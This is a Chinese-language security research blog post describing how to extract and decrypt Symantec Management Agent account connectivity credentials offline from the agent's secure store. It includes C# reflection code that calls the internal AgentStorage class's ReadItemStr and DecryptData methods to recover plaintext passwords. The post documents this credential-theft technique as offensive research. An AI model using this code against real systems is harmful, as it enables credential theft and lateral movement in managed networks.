离线提取赛门铁克账户连接凭据(ACCs)的技术解析

本文详细介绍了如何通过逆向工程赛门铁克代理的安全存储机制,离线提取账户连接凭据(ACCs),包括利用.NET反射调用内部类、解密加密数据,并最终实现无需与通知服务器交互的本地凭据提取方法。

离线提取赛门铁克账户连接凭据(ACCs)

在上一篇文章中,我重点介绍了赛门铁克管理代理中的一些变化,并基于MDSec的原始研究展示了这些变化如何影响账户连接凭据(ACCs)的检索。虽然我最初的意图是为PrivescCheck实现一个检查,但最终扩展了对该主题的研究,并发现了如何离线提取这些凭据。

原理

当我尝试复现MDSec博客文章中描述的利用步骤,以在特权上下文中检索ACCs时,有两件事困扰着我。首先,当我尝试解密从通知服务器获取的客户端策略blob时,出现了“访问被拒绝”错误。

其次,我不喜欢必须与通知服务器交互这一事实。我的意思是,一旦代理注册并检索了其策略,它应该将ACCs本地存储,以便后续使用。因此,假设我们处于特权上下文,并且可以模拟NT AUTHORITY\SYSTEM,我们应该能够在本地提取这些凭据,不是吗?让我们来找出答案……

现有知识

在MDSec的文章中,提到了位于C:\ProgramData\Symantec\Symantec Agent\Ldb\的“代理安全存储文件”。他们观察到SMATool.exe访问了这些文件,但没有对它们多说。我认为这是有道理的,因为除了它们似乎只包含加密数据之外,没有太多可说的,并且需要进一步(痛苦的)逆向工程(这次是本机代码)来弄清楚如何解密它们,然后可能解码明文内容。所有这些都是不必要的工作负担,特别是当您有编辑器提供的工具来完成所有繁重的工作时。但我们现在先不谈这个。

在上一部分中,我们还看到代理的客户端策略存储在一个本地文件中,低权限用户可以访问,但ACCs的用户名和密码值被替换为以aexs://前缀开头的奇怪路径。

1
2
3
4
<PkgAccessCredentials
  UserName="aexs://AgentCore\Policy\{142F2372-E64D-43C0-A207-17DB2C0552C4}\{8A8A64CA-15B4-4371-A4A3-F24ECFF35754}"
  UserPassword="aexs://AgentCore\Policy\{142F2372-E64D-43C0-A207-17DB2C0552C4}\{854B3571-6DC3-45E8-B7D1-1647E9D81516}"
/>

因此,我用关键词PkgAccessCredentials和aexs进行了一个简单的网络搜索,并在Broadcom的网站上找到了这篇知识库文章。

它描述了一个问题,即代理无法重新注册,因为上述PkgAccessCredentials节点在客户端策略XML文件中缺失。这只是为了上下文,但对我们这里来说并不真正相关。更重要的是,问题条目#5和#6提供的堆栈跟踪。

上面的截图显示了一个.NET堆栈跟踪,其中我们可以看到对命名空间Symantec.NSAgent、名为AgentStorage的类及其两个方法ReadItem(String pwszItemPath, UInt32 flags)和ReadItemStr(String pwszItemPath, UInt32 flags)的引用。 仅基于这些信息,我们可以学习或至少猜测以下内容:

  • 名为AgentStorage的类可能清楚地表明存在一个内置包装器,用于与所谓的“代理安全存储”交互。
  • 名为pwszItemPath的参数可能表明我们之前看到的aexs://路径是用于引用此安全存储中对象的路径。
  • 像pwszItemPath这样的参数名称在C#中不常见,但在Windows上的C中常用,用于指定指向宽(w)字符字符串(sz)的指针(p)。因此,可能在某处与本机代码有关。

如果我们能拿到这个程序集,与SMATool.exe和AeXAgentExt.dll(它们都是本机二进制文件)相比,逆向工程应该很简单。

代理存储类

幸运的是,我不需要搜索太久。在通知服务器的二进制文件上使用各种关键词尝试了几次后,我找到了一个有希望的候选程序集,名为Symantec.Deployment.PSComponent.dll。

虽然我倾向于默认使用findstr进行这种搜索,但它不一定是最佳选择。Sysinternals套件中的strings(64).exe工具提供了更详尽的结果。通常,findstr对于我需要做的事情来说更快。 我们找到了,我们的Symantec.NSAgent.AgentStorage类!

下面是AgentStorage构造函数的简化版本,所有错误处理都已移除。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public AgentStorage(string sCryptoDll, uint dwReserved) {

    // [1] 从注册表中检索AeXAgentExt.dll的路径。
    RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(
        "Software\\\\Altiris\\\\Altiris Agent\\\\Modules\\\\x64"
    );
    sCryptoDll = registryKey.GetValue("AeXAgentExt.dll");

    // [2] 使用非托管API LoadLibrary加载此本机库。
    this.m_pStorageDll = NativeMethods.LoadLibrary(
        sCryptoDll                  // lpLibFileName
    );

    // [3] 获取序号为100的过程的地址。
    IntPtr procAddress = NativeMethods.GetProcAddress(
        this.m_pStorageDll,         // hModule
        100                         // lpProcName
    );

    // [4] 调用非托管过程来初始化结构`AgentStorageInterface_V3`。
    fnInitializeWrapper fnInitializeWrapper = Marshal.GetDelegateForFunctionPointer(
        procAddress,                // 非托管函数指针
        typeof(fnInitializeWrapper) // 要返回的委托类型。
    );
    AgentStorageInterface_V3 asi = new AgentStorageInterface_V3
    {
        dwVersion = 3851534083U     // 0xe591bf03
    };
    uint num = fnInitializeWrapper(ref asi);

    this.m_pfnFreeMemory = Marshal.GetDelegateForFunctionPointer(
        asi.pfnFreeMemory,          // 非托管函数指针
        typeof(fnFreeMemory)        // 要返回的委托类型。
    );

    // ...
}

它实现了以下步骤:

  1. 从注册表中检索AeXAgentExt.dll的路径。
  2. 使用非托管API LoadLibrary加载此本机库。
  3. 获取序号为100的过程的地址。
  4. 调用此非托管过程来初始化结构AgentStorageInterface_V3。

用pe-bear快速查看本机DLL AeXAgentExt.dll显示它导出了3个函数,DllRegisterServer、DllUnregisterServer(这是注册和注销COM对象的知名函数)以及一个序号为100(0x64)的未命名函数。

代理存储接口

AgentStorageInterface_V3结构的布局如下。第一个成员是一个无符号整数,表示结构的版本,而所有其他成员都是函数指针,正如我们在类构造函数的代码中观察到的那样。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
internal struct AgentStorageInterface_V3
{
    public uint dwVersion;
    public IntPtr pfnFreeMemory;
    public IntPtr pfnReadItem;
    public IntPtr pfnWriteItem;
    public IntPtr pfnDeleteItem;
    public IntPtr pfnCopyItem;
    public IntPtr pfnEnumItems;
    public IntPtr pfnInitializeExpirableContext;
    public IntPtr pfnReleaseContext;
    public IntPtr pfnGetEncryptionKey;
    public IntPtr pfnEncryptData;
    public IntPtr pfnDecryptData;
    public IntPtr pfnDeleteStorage;
    // ...
}

下一步显然是在反汇编器(如Ghidra)中打开本机DLL。 二进制文件没有提供PDB文件,因此我们没有关于函数名称的信息。下面截图中的名称是根据.NET程序集的AgentStorageInterface_V3结构中的名称手动填充的。

这个函数的功能非常简单。它接收一个对AgentStorageInterface结构的引用。它检查其第一个成员(dwVersion)以确保其版本号正确,如果是,则用适当的(本机)函数指针填充所有其他字段。他们这样做可能有一个(好的?)理由,而不是直接导出函数,但我现在不太明白。 AgentStorage类的方法主要是这些非托管API的包装器。因此,它们处理所有非托管内存分配,并在相关或必要时负责将数据转换为托管类型或从托管类型转换。

1
2
3
4
5
6
7
8
9
public byte[] GetEncryptionKey(uint flags);
public byte[] ReadItem(string pwszItemPath, uint flags);
public SecureString ReadItemStr(string pwszItemPath, uint flags);
public void WriteItem(string pwszItemPath, byte[] data, uint flags);
public void DeleteItem(string pwszItemPath, uint flags);
public List<string> EnumItems(string pwszItemPath, uint flags);
private byte[] DecryptData(byte[] encryptedData, uint flags);
public byte[] EncryptData(byte[] pbyData, uint flags, byte[] pbyKey);
// ...

如果您还记得我之前显示的堆栈跟踪,我们特别对方法ReadItemStr()和ReadItem()感兴趣。ReadItemStr()没有做任何特别的事情,它只是调用ReadItem()来获取表示Unicode字符串的缓冲区,并将其转换为.NET SecureString。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public SecureString ReadItemStr(string pwszItemPath, uint flags) {
    byte[] array = this.ReadItem(pwszItemPath, flags);
    SecureString secureString = new SecureString();
    char[] chars = Encoding.Unicode.GetChars(array);
    try {
        foreach (char c in chars) {
            secureString.AppendChar(c);
        }
    }
    finally {
        Array.Clear(array, 0, array.Length);
        Array.Clear(chars, 0, chars.Length);
    }
    return secureString;
}

方法ReadItem()是实际调用代理存储接口的函数fnReadItem()的方法。它传递一个DATA_BLOB结构,如果成功,该结构会被填充一个指向明文数据的缓冲区指针。然后缓冲区被复制到托管的字节数组,然后通过调用fnFreeMemory()(代理存储接口的)来释放。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public byte[] ReadItem(string pwszItemPath, uint flags) {
    DATA_BLOB data_BLOB = new DATA_BLOB {
        cbData = 0U,
        pbData = IntPtr.Zero
    };
    uint num = this.m_pfnReadItem(this._storageContext, pwszItemPath, ref data_BLOB, flags);
    byte[] array = new byte[data_BLOB.cbData];
    Marshal.Copy(data_BLOB.pbData, array, 0, (int)data_BLOB.cbData);
    this.m_pfnFreeMemory(ref data_BLOB);
    return array;
}

概念验证

我们现在拥有了开始试验这个程序集所需的所有信息。目前,想法是创建一个简单的.NET控制台应用程序,允许我们确认这些aexs://路径是否确实用于访问安全存储中的项目。 只有一个轻微的问题。AgentStorage类被声明为internal。这意味着我们不能只是创建一个.NET应用程序并在代码中引用该程序集来访问和使用它。我们必须改用.NET反射。 在所有可用的包装器方法中,我觉得EnumItems()是一个很好的开始候选。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 获取本机库AeXAgentExt.dll的路径
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(
    "Software\\\\Altiris\\\\Altiris Agent\\\\Modules\\\\x64"
);
string sCryptoDll = (string)registryKey.GetValue("AeXAgentExt.dll");

// 使用反射实例化AgentStorage类
var asm = Assembly.LoadFile("C:\\Temp\\Symantec.Deployment.PSComponent.dll");
var type = asm.GetType("Symantec.NSAgent.AgentStorage");
var ctors = type.GetConstructors();
var obj = ctors[0].Invoke(
    new object[] {(String)sCryptoDll, (UInt32)0 }
);

// 枚举策略ID为{142F2372-E64D-43C0-A207-17DB2C0552C4}的项目
var policy_path = "aexs://AgentCore\\Policy\\{142F2372-E64D-43C0-A207-17DB2C0552C4}";
var mthd_enumitems = type.GetMethod("EnumItems");
var res = (List<string>)mthd_enumitems.Invoke(
    obj,
    new object[] { policy_path, (UInt32)0 }
);

Console.WriteLine(policy_path);

foreach (var item in res) {
    Console.WriteLine("\\__ " + item);
}

在上面的截图中,您可能会注意到ID与上一篇博客文章中显示的不同。据我所知,客户端策略文件似乎会定期更新,每次UserName和UserPassword都会被分配一个新的ID。我不知道为什么,但事实就是这样。 它起作用了,我们可以看到EnumItems()返回了2个项目,正是客户端策略文件中引用的那些。

  • {1BBC72A2-C661-4E5D-A267-2456727165D7} –> UserName
  • {C14B5C86-C1B8-405E-A049-EF01E21761C2} –> UserPassword

我们期望这两个项目是字符串,所以接下来要尝试使用ReadItemStr()读取它们。该方法将从存储中读取的数据转换为SecureString,但我们可以使用其辅助方法ConvertToUnsecureString()来获取原始字符串。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// 获取本机库AeXAgentExt.dll的路径...
// 使用反射实例化AgentStorage类...

var mthd_readitemstr = type.GetMethod("ReadItemStr");
SecureString res_securestring = (SecureString)mthd_readitemstr.Invoke(
    obj,
    new object[] { args[0], (UInt32)0 }
);

var mthd_converttounsecurestring = type.GetMethod("ConvertToUnsecureString");
string res = (string)mthd_converttounsecurestring.Invoke(
    obj,
    new object[] { res_securestring }
);

Console.WriteLine(res);

正如预期的那样,它起作用了,我们成功检索了ACCs的用户名和密码。嗯,几乎。

密码解密

用户名是明文,但实际密码仍然加密。我们在上一篇博客文章中已经看到了如何解密它。问题是我们使用客户端策略提供的AES密钥来解密,但这里我们没有这个信息。因此,我们首先需要找到这个密钥存储在哪里。除非有更简单的方法。 您可能已经注意到,我之前强调的方法列表中有两个名为EncryptData()和DecryptData()的条目。这两个函数很可能正是用于产生和处理那些以Aw…开头的base64编码的blob。 因此,我在代表ACC密码的base64编码blob上测试了DecryptData()。该方法接受一个字节数组作为输入。因此,我首先将从安全存储获取的数据进行base64解码,然后将得到的字节数组作为参数传递。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
// 获取本机库AeXAgentExt.dll的路径...
// 使用反射实例化AgentStorage类...

// 从命令行获取base64 blob,并解码它。
byte[] encrypted_data = Convert.FromBase64String(args[0]);

// 将原始数据传递给DecryptData
var mthd_decryptdata = type.GetMethod("DecryptData");
byte[] decrypted_data = (byte[])mthd_decryptdata.Invoke(
    obj,
    new object[] { encrypted_data, (UInt32)0 }
);

Console.WriteLine(Encoding.Unicode.GetString(decrypted_data));

它毫无问题地工作了!我们得到了明文密码!不需要摆弄或进行痛苦的逆向工程。

结论

假设我们拥有本地管理员权限,并且可以模拟NT AUTHORITY\SYSTEM,那么可以离线提取明文账户连接凭据,而无需与通知服务器交互。 上述技术唯一的问题是它依赖于一个仅存在于通知服务器上的程序集,就像SMATool.exe(参见上一篇博客文章)一样。因此,我不能在不提供此程序集的情况下发布概念验证,我们知道这可能会如何结束。 问题是,这个Symantec.Deployment.PSComponent.dll程序集只是一个.NET包装器。它所做的一切就是利用本机库AeXAgentExt.dll,该库存在于终端机器上。因此,我创建了一个C/C++工具SMAStorageDump,它利用AeXAgentExt.dll递归提取代理安全存储中的所有数据。除此之外,当它找到以Aw…开头的字符串时,它会尝试自动解码和解密其内容。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计